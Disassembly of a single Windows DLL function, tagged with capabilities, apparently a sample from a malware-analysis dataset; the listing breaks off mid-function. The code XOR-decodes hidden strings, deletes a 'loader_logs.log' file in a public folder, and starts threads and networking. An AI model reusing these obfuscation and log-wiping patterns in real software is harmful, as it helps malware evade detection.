Function at 0x18006ec40
Capabilities:
Accept command line arguments
Delete file
Encode data using xor

Disassembly:
mov rax, rsp
mov qword [rax + 8], rcx
push rbp
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x1d8]
sub rsp, 0x298
movaps xmmword [rax - 0x58], xmm6
movaps xmmword [rax - 0x68], xmm7
movaps xmmword [rax - 0x78], xmm8
movaps xmmword [rax - 0x88], xmm9
xor r13d, r13d
mov r12, qword [0x180366c78]
mov dword [rbp + 0x1e0], r13d
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov rcx, rax
lea rdx, [rbp + 0x1e0]
call qword [sym.imp.SHELL32.dll_CommandLineToArgvW]
mov r14, rax
lea rbx, [0x18015c3a8]
mov r15d, dword [reloc.WS2_32.dll_accept]
test rax, rax
je 0x18006f1ab
cmp dword [rbp + 0x1e0], 2
jne 0x18006f1ab
mov rdx, qword [rax + 8]
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
mov qword [rsp + 0x40], r13
mov qword [rsp + 0x48], r13
mov r8, 0xffffffffffffffff
inc r8
cmp word [rdx + r8*2], r13w
jne 0x18006ece1
lea rcx, [rsp + 0x30]
call fcn.180008da0
nop
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x60]
call fcn.180007680
mov rcx, rax
call fcn.1800a46e0
lea rcx, [rbp]
call fcn.1800a9160
nop
mov r8d, 1
lea rdx, [0x1801554fc]
mov rcx, rax
call fcn.18000a5b0
xorps xmm0, xmm0
movups xmmword [rsp + 0x60], xmm0
mov qword [rsp + 0x70], r13
mov qword [rsp + 0x78], r13
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x60], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x70], xmm1
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], 7
mov word [rax], r13w
lea rdx, [rsp + 0x30]
cmp qword [rsp + 0x48], 8
cmovae rdx, qword [rsp + 0x30]
mov r8, qword [rsp + 0x40]
lea rcx, [rsp + 0x60]
call fcn.18000a5b0
xorps xmm0, xmm0
movups xmmword [rbp - 0x80], xmm0
mov qword [rbp - 0x70], r13
mov qword [rbp - 0x68], r13
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x80], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x70], xmm1
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], 7
mov word [rax], r13w
mov rdx, qword [rsp + 0x78]
cmp rdx, 8
jb 0x18006edef
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18006edea
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800703af
call fcn.1800bdc0c
mov qword [rsp + 0x70], r13
mov qword [rsp + 0x78], 7
mov word [rsp + 0x60], r13w
mov rdx, qword [rbp + 0x18]
cmp rdx, 8
jb 0x18006ee43
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18006ee3e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800703b5
call fcn.1800bdc0c
mov qword [rbp + 0x10], r13
mov qword [rbp + 0x18], 7
mov word [rbp], r13w
mov esi, r13d
mov rdi, r13
jmp 0x18006ee67
lea rbx, [0x18015c3a8]
lea rdx, [rbp - 0x80]
cmp qword [rbp - 0x68], 8
cmovae rdx, qword [rbp - 0x80]
mov r8d, 1
lea rcx, [rbp + 0x40]
call fcn.1800aa530
mov rax, qword [rbp + 0x40]
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx + 0x40], rbx
mov rax, qword [rbp + 0x40]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rbp + rcx + 0x3c], edx
mov rax, qword [rbp + 0x40]
movsxd rcx, dword [rax + 4]
mov ebx, dword [rbp + rcx + 0x50]
lea rax, [0x18015c3a8]
mov qword [rbp + rcx + 0x40], rax
mov rax, qword [rbp + 0x40]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rbp + rcx + 0x3c], edx
lea rcx, [rbp + 0x50]
call fcn.180029b40
mov rax, qword [rbp + 0x40]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_istream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0x40], rax
mov rax, qword [rbp + 0x40]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x18]
mov dword [rbp + rcx + 0x3c], edx
lea rax, vtable.std::ios_base.0
mov qword [rbp + 0xf0], rax
lea rcx, [rbp + 0xf0]
call fcn.1800bc490
nop
test ebx, ebx
jne 0x18006ef4b
lea rcx, [rbp - 0x80]
cmp qword [rbp - 0x68], 8
cmovae rcx, qword [rbp - 0x80]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
mov esi, eax
cmp eax, 1
je 0x18006ef54
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
inc rdi
cmp rdi, 0x64
jb 0x18006ee60
cmp esi, 1
jne 0x18006f118
movups xmm0, xmmword [str.yYVHe_IK__8__F]
movups xmmword [rsp + 0x60], xmm0
movzx eax, word [0x18015ef58]
mov word [rsp + 0x70], ax
mov r8d, r13d
cmp r15d, 2
jl 0x18006f0c3
movdqa xmm5, xmmword [0x1801600f0]
movdqa xmm4, xmmword [0x1801602d0]
mov eax, 4
movd xmm6, eax
movdqa xmm7, xmmword [0x180160130]
mov eax, 0x1f
movd xmm8, eax
movdqa xmm0, xmmword [0x180160240]
movdqa xmmword [rbp], xmm0
lea rcx, [rsp + 0x60]
mov edx, dword [rbp]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x180160210]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x180160210]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x18006efc0
cmp r8d, 0x12
jge 0x18006f100
movsxd rax, r8d
lea r9, [rsp + 0x60]
add r9, rax
nop
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x35
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x12
jl 0x18006f0d0
xor r9d, r9d
lea r8, [0x180121e3b]
lea rdx, [rsp + 0x60]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
nop
mov rdx, qword [rbp - 0x68]
cmp rdx, 8
jb 0x18006f158
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18006f153
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800703bb
call fcn.1800bdc0c
mov qword [rbp - 0x70], r13
mov qword [rbp - 0x68], 7
mov word [rbp - 0x80], r13w
mov rdx, qword [rsp + 0x48]
cmp rdx, 8
jb 0x18006f1ab
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18006f1a6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800703c1
call fcn.1800bdc0c
xorps xmm0, xmm0
movups xmmword [rbp], xmm0
mov dword [rsp + 0x34], r13d
mov dword [rsp + 0x4c], r13d
lea rdx, str.__C:UsersPublicloader_logs.log
lea rcx, [rbp]
call qword [sym.imp.ntdll.dll_RtlInitUnicodeString]
mov dword [rsp + 0x30], 0x30
mov qword [rsp + 0x38], r13
mov dword [rsp + 0x48], 0x240
lea rax, [rbp]
mov qword [rsp + 0x40], rax
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x50], xmm0
lea rcx, [rsp + 0x30]
call qword [sym.imp.ntdll.dll_NtDeleteFile]
mov ecx, 0x30
call fcn.1800bdbd0
mov qword [rbp + 0x1e8], rax
mov rcx, rax
call fcn.180078470
nop
lea rcx, [rsp + 0x30]
call fcn.1800620d0
nop
mov r8d, 1
lea rdx, [0x1801554ec]
mov rcx, rax
call fcn.180027e10
xorps xmm0, xmm0
movups xmmword [rbp + 0x20], xmm0
mov qword [rbp + 0x30], r13
mov qword [rbp + 0x38], r13
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x20], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x30], xmm1
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], send
mov byte [rax], 0
mov rdx, qword [rsp + 0x48]
cmp rdx, 0x10
jb 0x18006f2a3
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18006f29e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800703c7
call fcn.1800bdc0c
mov qword [rsp + 0x40], r13
mov qword [rsp + 0x48], send
mov byte [rsp + 0x30], 0
lea rcx, [rbp - 0x80]
call fcn.1800611e0
nop
mov rdx, rax
lea rcx, [rbp + 0x20]
call fcn.18004beb0
nop
mov rdx, qword [rbp - 0x68]
cmp rdx, 0x10
jb 0x18006f308
inc rdx
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18006f303
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800703cd
call fcn.1800bdc0c
lea rcx, [rbp - 0x28]
call fcn.1800614a0
nop
mov ecx, 0x90
call fcn.1800bdbd0
mov rsi, rax
mov qword [rbp + 0x1e8], rax
lea rax, [rbp - 0x80]
mov qword [rbp + 0x1f0], rax
lea rdx, [rbp - 0x28]
lea rcx, [rbp - 0x80]
call fcn.1800079d0
mov rdi, rax
lea rax, [rsp + 0x60]
mov qword [rbp + 0x1f8], rax
lea rdx, [rbp + 0x20]
lea rcx, [rsp + 0x60]
call fcn.1800079d0
mov rbx, rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
mov qword [rsp + 0x40], r13
mov qword [rsp + 0x48], r13
xor r8d, r8d
lea rdx, [0x180155500]
lea rcx, [rsp + 0x30]
call fcn.180008da0
nop
mov r9, rdi
mov r8, rbx
lea rdx, [rsp + 0x30]
mov rcx, rsi
call fcn.180013350
nop
movups xmm0, xmmword [str.v_fkoPT_SJMc]
movups xmmword [rbp - 0x80], xmm0
movups xmm1, xmmword [0x18015eee8]
movups xmmword [rbp - 0x70], xmm1
movups xmm0, xmmword [0x18015eef8]
movups xmmword [rbp - 0x60], xmm0
mov eax, dword [0x18015ef08]
mov dword [rbp - 0x50], eax
movzx eax, word [0x18015ef0c]
mov word [rbp - 0x4c], ax
mov r8d, r13d
mov edi, 4
lea esi, [rdi + 0x1b]
cmp r15d, 2
jl 0x18006f500
movdqa xmm5, xmmword [0x1801600f0]
movdqa xmm4, xmmword [0x1801602d0]
movd xmm6, edi
movdqa xmm7, xmmword [0x180160130]
movd xmm8, esi
movdqa xmm9, xmmword [0x180160200]
lea rcx, [rbp - 0x80]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm9
paddw xmm3, xmm2
movq xmm0, qword [rcx]
xorps xmm3, xmm0
movq qword [rcx], xmm3
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm9
paddw xmm3, xmm2
movq xmm0, qword [rcx + 8]
xorps xmm3, xmm0
movq qword [rcx + 8], xmm3
add r8d, 8
lea rcx, [rcx + 0x10]
cmp r8d, 0x18
jl 0x18006f411
cmp r8d, 0x1b
jge 0x18006f544
movsxd rax, r8d
lea r9, [rbp - 0x80]
lea r9, [r9 + rax*2]
nop dword [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x34
movzx eax, r8w
sub ax, cx
add ax, 0x35
xor word [r9], ax
inc r8d
lea r9, [r9 + 2]
cmp r8d, 0x1b
jl 0x18006f510
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
mov qword [rsp + 0x40], r13
mov qword [rsp + 0x48], r13
lea rax, [rbp - 0x80]
mov r8, 0xffffffffffffffff
inc r8
cmp word [rax + r8*2], 0
jne 0x18006f561
lea rdx, [rbp - 0x80]
lea rcx, [rsp + 0x30]
call fcn.180008da0
nop
lea rdx, [rsp + 0x30]
cmp qword [rsp + 0x48], 8
cmovae rdx, qword [rsp + 0x30]
mov r8d, 1
lea rcx, [rbp + 0x40]
call fcn.1800aa530
mov rax, qword [rbp + 0x40]
movsxd rcx, dword [rax + 4]
lea r8, [0x18015c3a8]
mov qword [rbp + rcx + 0x40], r8
mov rax, qword [rbp + 0x40]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rbp + rcx + 0x3c], edx
mov rax, qword [rbp + 0x40]
movsxd rcx, dword [rax + 4]
mov ebx, dword [rbp + rcx + 0x50]
mov qword [rbp + rcx + 0x40], r8
mov rax, qword [rbp + 0x40]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rbp + rcx + 0x3c], edx
lea rcx, [rbp + 0x50]
call fcn.180029b40
mov rax, qword [rbp + 0x40]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_istream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0x40], rax
mov rax, qword [rbp + 0x40]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x18]
mov dword [rbp + rcx + 0x3c], edx
lea rax, vtable.std::ios_base.0
mov qword [rbp + 0xf0], rax
lea rcx, [rbp + 0xf0]
call fcn.1800bc490
nop
test ebx, ebx
setne bl
call fcn.180013910
mov byte [rax + 4], bl
mov rdx, qword [rsp + 0x48]
cmp rdx, 8
jb 0x18006f67a
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18006f675
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800703d3
call fcn.1800bdc0c
call fcn.180013910
cmp byte [rax + 4], 0
jne 0x18006f6e6
call fcn.180013910
lea rdx, [rax + 8]
lea rcx, [rsp + 0x30]
call fcn.180007680
nop
lea rcx, [rsp + 0x30]
call fcn.1800aa130
nop
mov rdx, qword [rsp + 0x48]
cmp rdx, 8
jb 0x18006f6e6
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18006f6e1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800703d9
call fcn.1800bdc0c
call fcn.1800a4790
test al, al
je 0x18006f6f4
call fcn.1800328b0
call fcn.1800a3ef0
mov ecx, 0x30
call fcn.1800bdbd0
mov qword [rbp + 0x1e8], rax
mov dword [rax], 0xffffffff
xorps xmm0, xmm0
movups xmmword [rax + 8], xmm0
mov qword [rax + 0x18], r13
mov qword [rax + 0x20], send
mov byte [rax + 8], 0
mov byte [rax + 0x28], 0
mov dword [rax + 0x2c], r13d
mov qword [0x180366bf0], rax
mov ecx, 0xc0
call fcn.1800bdbd0
mov qword [rbp + 0x1e8], rax
mov rcx, rax
call fcn.1800130c0
nop
mov ecx, reloc.WS2_32.dll_recv
call fcn.1800bdbd0
mov qword [rbp + 0x1e8], rax
mov qword [rax], r13
mov qword [rax + 8], r13
mov qword [0x180366be8], rax
call fcn.180013910
mov ebx, dword [rax + 0x88]
mov rcx, qword [0x180366c98]
test rcx, rcx
jne 0x18006f7a7
mov ecx, 0x30
call fcn.1800bdbd0
mov qword [rbp + 0x1e8], rax
mov rcx, rax
call fcn.180078470
nop
mov rcx, qword [0x180366c98]
mov dword [rcx], ebx
call fcn.1800792b0
call fcn.1800a5af0
mov rcx, qword [0x180366bf0]
test rcx, rcx
jne 0x18006f7ff
mov ecx, 0x30
call fcn.1800bdbd0
mov rcx, rax
mov qword [rbp + 0x1e8], rax
mov dword [rax], 0xffffffff
xorps xmm0, xmm0
movups xmmword [rax + 8], xmm0
mov qword [rax + 0x18], r13
mov qword [rax + 0x20], send
mov byte [rax + 8], 0
mov byte [rax + 0x28], 0
mov dword [rax + 0x2c], r13d
mov qword [0x180366bf0], rax
cmp r12, 0xfe5e11
sete al
mov byte [rcx + 0x28], al
jne 0x18006f870
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
mov qword [rsp + 0x40], r13
mov qword [rsp + 0x48], send
mov byte [rsp + 0x30], 0
lea rcx, [rsp + 0x30]
call fcn.1800708a0
mov rdx, qword [rsp + 0x48]
cmp rdx, 0x10
jb 0x18006f870
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18006f86b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800703df
call fcn.1800bdc0c
mov qword [rsp + 0x28], r13
mov dword [rsp + 0x20], r13d
xor r9d, r9d
lea r8, [0x180033ce0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rax, qword [0x180366bf0]
test rax, rax
jne 0x18006f8d5
lea ecx, [rax + 0x30]
call fcn.1800bdbd0
mov qword [rbp + 0x1e8], rax
mov dword [rax], 0xffffffff
xorps xmm0, xmm0
movups xmmword [rax + 8], xmm0
mov qword [rax + 0x18], r13
mov qword [rax + 0x20], send
mov byte [rax + 8], 0
mov byte [rax + 0x28], 0
mov dword [rax + 0x2c], r13d
mov qword [0x180366bf0], rax
cmp byte [rax + 0x28], 0
jne 0x18006f9db
mov r8b, 1
mov edx, 0xffffffff
mov ecx, 0x1e240
call fcn.18006d3e0
mov ecx, WSAStartup
call fcn.1800bdbd0
mov rbx, rax
mov qword [rbp + 0x1e8], rax
mov byte [rax], 0
mov qword [rax + 4], r13
mov dword [rax + 0xc], 0xa
mov dword [rax + 0x10], 0xa
lea rax, [0x180121e2a]
mov qword [rbx + 0x18], rax
mov dword [rbx + 0x20], r13d
mov qword [rbx + 0x28], r13
mov qword [rbx + 0x30], r13
mov qword [rbx + 0x38], r13
mov byte [rbx + 0x40], 0
mov qword [rbx + 0x48], r13
mov qword [rbx + 0x50], r13
mov qword [rbx + 0x58], r13
mov qword [rbx + 0x60], r13
mov byte [rbx + 0x68], 1
mov qword [0x180366c60], rbx
mov qword [0x180366c68], rbx
lea rax, [rbp + 0x1e8]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], r13d
mov r9, rbx
lea r8, [0x180067c10]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rbx + 0x30], rax
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
cmp qword [rbx + 0x60], 0
jne 0x18006f9b2
nop word [rax + rax]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_Sleep]
cmp qword [rbx + 0x60], 0
je 0x18006f9a0
lea rcx, [0x18006d880]
mov rax, qword [0x180366c68]
mov qword [rax + 0x38], rcx
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rcx, qword [0x180366c68]
call fcn.180067d30
call fcn.180013910
cmp dword [rax], 0
jne 0x18006fbaa
movups xmm0, xmmword [str.vR_RSU_]
movups xmmword [rsp + 0x60], xmm0
mov eax, dword [0x18015ef20]
mov dword [rsp + 0x70], eax
movzx eax, word [0x18015ef24]
mov word [rsp + 0x74], ax
cmp byte [0x18015ef25], 0
je 0x18006fba0
mov r8d, r13d
cmp r15d, 2
jl 0x18006fb63
movdqa xmm5, xmmword [0x1801600f0]
movdqa xmm4, xmmword [0x1801602d0]
movd xmm6, edi
movdqa xmm7, xmmword [0x180160130]
movd xmm8, esi
movdqa xmm0, xmmword [0x180160240]
movdqa xmmword [rbp], xmm0
lea rcx, [rsp + 0x60]
mov edx, dword [rbp]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x180160210]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x180160210]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x18006fa60
cmp r8d, 0x16
jge 0x18006fba0
movsxd rax, r8d
lea r9, [rsp + 0x60]
add r9, rax
nop
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x35
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x16
jl 0x18006fb70
lea rdx, [rsp + 0x60]
jmp 0x18006fd64
movups xmm0, xmmword [str.cSEQ_SX_SZP_2c_]
movups xmmword [rbp - 0x80], xmm0
movsd xmm0, qword [0x18015ef38]
movsd qword [rbp - 0x70], xmm0
movzx eax, word [0x18015ef40]
mov word [rbp - 0x68], ax
movzx eax, byte [0x18015ef42]
mov byte [rbp - 0x66], al
mov r8d, r13d
cmp r15d, 2
jl 0x18006fd23
movdqa xmm5, xmmword [0x1801600f0]
movdqa xmm4, xmmword [0x1801602d0]
movd xmm6, edi
movdqa xmm7, xmmword [0x180160130]
movd xmm8, esi
movdqa xmm0, xmmword [0x180160240]
movdqa xmmword [rbp], xmm0
lea rcx, [rbp - 0x80]
mov edx, dword [rbp]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x180160210]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x180160210]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x18006fc20
cmp r8d, 0x1b
jge 0x18006fd60
movsxd rax, r8d
lea r9, [rbp - 0x80]
add r9, rax
nop dword [rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x35
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1b
jl 0x18006fd30
lea rdx, [rbp - 0x80]
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
mov qword [rsp + 0x40], r13
mov qword [rsp + 0x48], r13
mov r8, 0xffffffffffffffff
nop dword [rax]
inc r8
cmp byte [rdx + r8], 0
jne 0x18006fd80
lea rcx, [rsp + 0x30]
call fcn.180008fc0
mov r8b, 1
mov edx, 0xffff99
lea rcx, [rsp + 0x30]
call fcn.18006d260
lea rcx, [rbp - 0x48]
call fcn.1800380b0
nop
cmp qword [rbp - 0x38], 0
jne 0x18006fec9
mov ecx, 0x4e20
call qword [sym.imp.KERNEL32.dll_Sleep]
nop
mov rdx, qword [rbp - 0x30]
cmp rdx, 0x10
jb 0x18006fe02
inc rdx
mov rcx, qword [rbp - 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18006fdfd
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18007040f
call fcn.1800bdc0c
mov qword [rbp - 0x38], r13
mov qword [rbp - 0x30], send
mov byte [rbp - 0x48], 0
mov rdx, qword [rbp - 0x10]
cmp rdx, 0x10
jb 0x18006fe4d
inc rdx
mov rcx, qword [rbp - 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18006fe48
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180070415
call fcn.1800bdc0c
mov qword [rbp - 0x18], r13
mov qword [rbp - 0x10], send
mov byte [rbp - 0x28], 0
mov rdx, qword [rbp + 0x38]
cmp rdx, 0x10
jb 0x18006fe98
inc rdx
mov rcx, qword [rbp + 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18006fe93
add rdx, 0x27
